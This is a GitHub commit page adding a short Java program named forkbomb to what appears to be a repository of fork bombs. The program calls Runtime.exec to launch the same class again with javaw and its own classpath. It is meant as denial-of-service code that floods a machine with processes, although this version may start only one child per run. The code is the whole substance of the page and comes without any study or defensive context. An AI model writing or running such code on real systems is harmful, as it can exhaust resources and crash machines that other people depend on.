Skip to content

Commit

Permalink
Add java version of forkbomb
Browse files Browse the repository at this point in the history
  • Loading branch information
tolunayozturk authored and OtacilioN committed Oct 29, 2018
1 parent 4acd7ed commit 2be3a3e
Showing 1 changed file with 7 additions and 0 deletions.
7 changes: 7 additions & 0 deletions Fork Bomb/forkbomb.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
public class forkbomb
{
public static void main(String[] args)
{
Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "forkbomb"});
}
}

0 comments on commit 2be3a3e

Please sign in to comment.